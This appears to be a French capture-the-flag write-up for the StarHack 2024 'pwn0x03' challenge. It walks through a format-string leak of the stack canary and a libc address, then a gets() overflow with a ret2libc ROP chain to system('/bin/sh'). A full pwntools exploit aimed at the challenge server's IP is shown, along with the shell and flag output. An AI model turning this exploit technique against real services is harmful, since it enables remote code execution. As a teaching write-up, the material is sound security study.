Ce challenge tourne sur un docker et n'est pas disponible
Solution
Le binaire n'est composé que de sa fonction main :
int main(void) {
long in_FS_OFFSET;
char secret [0x40];
char identity [0x58];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
init_buffering();
puts("----------------------------");
puts("-- Secret storage service --");
puts("----------------------------");
puts("Identify your self : ");
printf(" > ");
read(0x0,identity,0x50);
printf("Welcome : ");
printf(identity);
puts("----------------------------");
printf("type your secret : ");
gets(secret);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) __stack_chk_fail();
return 0;
}
La vulnérabilité réside dans 2 choses :
ligne 16 : printf permet d'envoyer une chaîne contenant du formatage et ainsi de leak des données en mémoire
ligne 20 : gets ne vérifie pas la longueur de notre input, on peut donc faire un BufferOverflow
┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ checksec task
[*] '/StarHack 2024/pwn0x03/task'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Le binaire à toutes les protections activées :
RELRO (Relocation Read-Only) est une protection qui rend la table GOT en lecture seule, empêchant ainsi les attaques de modification d’adresses de fonctions.
Canary est une valeur aléatoire placée avant le retour de pile pour détecter et empêcher les débordements de tampon.
NX (No-eXecute) est une protection qui marque certaines zones mémoire comme non exécutables, empêchant l'exécution de code injecté dans la pile ou le tas.
PIE (Position-Independent Executable) est une protection qui charge le binaire à une adresse aléatoire en mémoire à chaque exécution, rendant plus difficile la prédiction des adresses pour les attaques d’exploitation.
En sachant qu'on nous donne le fichier de la libc en même temps, c'est assez clair :
Se servir de printf pour leak le canary pour le remettre à la bonne place après notre BoF.
Se servir de printf pour leak l'adresse de la libc.
Faire une ropchain pour lancer un shell depuis la libc grâce à system ou execve.
Patch du binaire
Il suffit de mettre notre binaire et notre librairie dans le même dossier, puis on lance simplement
┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ ls -al 127 ⨯
total 2012
drwxr-xr-x 2 kali kali 4096 Nov 10 07:15 .
drwxr-xr-x 4 kali kali 4096 Nov 10 00:18 ..
-rw------- 1 kali kali 2029592 Nov 10 00:17 libc.so.6
-rwx--x--x 1 kali kali 14472 Nov 10 00:17 task
┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ cargo install pwninit
┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ export PATH=$PATH:~/.cargo/bin
┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ pwninit
bin: ./task
libc: ./libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9.9_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.9_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
setting ./ld-2.31.so executable
copying ./task to ./task_patched
running patchelf on ./task_patched
writing solve.py stub
┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ ls -al 130 ⨯
total 2228
drwxr-xr-x 2 kali kali 4096 Nov 10 07:17 .
drwxr-xr-x 4 kali kali 4096 Nov 10 00:18 ..
-rwxr-xr-x 1 kali kali 191504 Nov 10 07:17 ld-2.31.so
-rw------- 1 kali kali 2029592 Nov 10 00:17 libc.so.6
-rwxr-xr-x 1 kali kali 432 Nov 10 07:17 solve.py
-rwx--x--x 1 kali kali 14472 Nov 10 00:17 task
-rwx--x--x 1 kali kali 20497 Nov 10 07:17 task_patched
À partir de maintenant, on ne travaillera que sur task_patched.
Leak des valeurs - Canary
Commençons par trouver le canary dans la mémoire. On va break à 0x55555555526a (environ ligne 8 dans notre pseudo code C), c'est-à-dire quand il est mis dans RAX pour voir sa valeur.
gef➤ b *0x55555555526a
Breakpoint 1 at 0x55555555526a
Puisqu'on peut rentrer un maximum de 88 caractères dans printf, on va lancer plusieurs fois le binaire avec des formatages différents jusqu'à trouver notre canary dedans.
Ici notre canary est 0x4e5a7598b83abb00. Bingo, ça correspond à %25$p ! On peut désormais leak la valeur du canary pour la replacer plus tard au bon endroit et faire croire au programme que tout va bien.
Leak des valeurs - LIBC
On va réutiliser les valeurs qu'on a fait fuiter pour trouver le canary. Toutes les valeurs du type 0x7fffff... peuvent être l'adresse d'une fonction, on va donc toutes les tester avec la commande info symbol. (il existe d'autres façons de faire bien sûr).
gef➤ info symbol 0x55550a702430
No symbol matches 0x55550a702430.
gef➤ info symbol 0x7fffffffb670
No symbol matches 0x7fffffffb670.
gef➤ info symbol 0x7fffffffefb8
No symbol matches 0x7fffffffefb8.
gef➤ info symbol 0x7fffffffdea0
No symbol matches 0x7fffffffdea0.
gef➤ info symbol 0x7ffff7df9083
__libc_start_main + 243 in section .text of ./libc.so.6
Et hop ! Notre %27$p mène bien vers une adresse appartenant à la libc. Puisque l'adresse de base de la libc change à chaque lancement, mais que l'offset de cette adresse qu'on a leak est toujours la même par rapport à l'adresse de base, on pourra en déduire celle-ci !
Dans notre programme, l'adresse de base est 0x007ffff7dd5000. Nous avons leak l'adresse 0x7ffff7df9083. Le décalage est donc de 0x7ffff7df9083 - 0x007ffff7dd5000 =0x24083.
Ret2Libc avec ropchain
Maintenant que l'on peut déduire l'adresse de la libc et le canary, place à l'exploitation de gets. On commence par chercher combien de caractères il faut mettre pour arriver au canary, pour ça on part sur des patterns avec cyclic et on break à 0x55555555532d, pendant la vérification du canary pour connaître le pattern qui est dedans (c'est dans RCX qu'il faut regarder) :
gef➤ b *0x55555555532d
Breakpoint 2 at 0x55555555532d
gef➤ shell cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
gef➤ r
----------------------------
-- Secret storage service --
----------------------------
Identify your self :
> test
Welcome : test
----------------------------
type your secret : aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Breakpoint 2, 0x000055555555532d in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x00555555555340 → endbr64
$rcx : 0x6261616f6261616e ("naaboaab"?)
$rdx : 0x0
[...]
gef➤ shell cyclic -l "naab"
152
On voit que c'est naaboaab qui est dans RCX, en cherchant l'offset, on trouve 152. Il faut donc 152 caractères avant d'arriver à remplir le canary.
Juste après le canary se situe EBP, il faut 8 octets et on s'en fout, donc on le remplira avec n'importe quoi.
Ensuite, ce sera RIP, c'est là que commence la Ropchain. Voici l'exploit au complet :
from pwn import *
p = ELF("./task_patched")
libc = ELF("./libc.so.6")
context.binary = p
def conn():
if args.LOCAL:
r = process([p.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("35.180.44.229", 1237)
return r
def main():
# C'est le décalage qui permettra de déduire l'adresse de la libc côté serveur
local_libc_address = 0x007ffff7dd5000
local_leak_address = 0x7ffff7df9083
leak_offset = local_leak_address - local_libc_address # 0x24083
# On se connecte au serveur
r = conn()
r.recvuntil(b'> ')
# Leak du canary et de l'adresse appartenant à la libc
r.sendline(b'%25$p %27$p')
line = r.recvline().decode().strip()
values = line.split(' : ')[1].split(' ')
canary = int(values[0], 16)
leak_address = int(values[1], 16)
# On déduit l'adresse de la libc à partir de l'adresse leak et son offset fixe
libc.address = leak_address - leak_offset
# Maintenant qu'on sait où est la libc, on peut déduire l'adresse de tout ce qu'elle contient
# On récupère l'adresse de la fonction system
system_address = libc.symbols['system']
# On récupère la chaîne de caractère /bin/sh qui est dans la libc
bin_sh_address = next(libc.search(b'/bin/sh'))
# Construction de la ropchain
rop = ROP(libc)
# Avant d'appeler system(), il faut mettre le paramètre "/bin/sh" dans RDI
# Donc on cherche un gadget pop rdi; ret;
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# On a besoin d'un ret pour aligner la stack
# Il suffira de l'appeler avant system
# Ref : https://ir0nstone.gitbook.io/notes/binexp/stack/return-oriented-programming/stack-alignment
ret = rop.find_gadget(['ret'])[0]
r.recvuntil(b'secret : ')
payload = b''.join([
b'A' * 152, # Remplissage de la mémoire jusqu'au canary
p64(canary), # On remet le canary leak au bon endroit
b'B' * 8, # On rempli RBP (valeur quelconque, osef)
p64(ret), # Alignement de la stack
p64(pop_rdi), # On place /bin/sh dans RDI
p64(bin_sh_address),
p64(system_address) # Appelle de system("/bin/sh")
])
r.sendline(payload)
# On récupère la main sur le shell qu'on vient de créer
r.interactive()
if __name__ == "__main__":
main()
┌──(kali㉿kali)-[~/StarHack 2024/pwn0x03]
└─$ python3 solve.py
[*] '/StarHack 2024/pwn0x03/task_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[*] '/StarHack 2024/pwn0x03/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 35.180.44.229 on port 1237: Done
[*] Loaded 196 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
$ ls -al
total 68
drwxr-xr-x 1 root root 4096 Oct 31 01:26 .
drwxr-xr-x 1 root root 4096 Oct 18 00:32 ..
-rw-r--r-- 1 root root 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 root root 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 root root 807 Feb 25 2020 .profile
-rw-rw-r-- 1 root root 75 Oct 31 01:26 flag.txt
-rwxrwxr-x 1 root root 14472 Oct 18 00:25 task
-rwxrwxr-x 1 root root 18744 Oct 18 00:25 ynetd
$ cat flag.txt
StarHack{fms_bUG5_ar3_mY_favorites_wh4t_ab0ut_y0u?ASDSAKDASDKASFFDSASDFSA}
Pour utiliser la librairie fournie et éviter les problèmes de compatibilité, il faut patcher notre binaire. Pour ça, j'utilise . Le tool nécessite mais absolument rien de compliqué à installer.
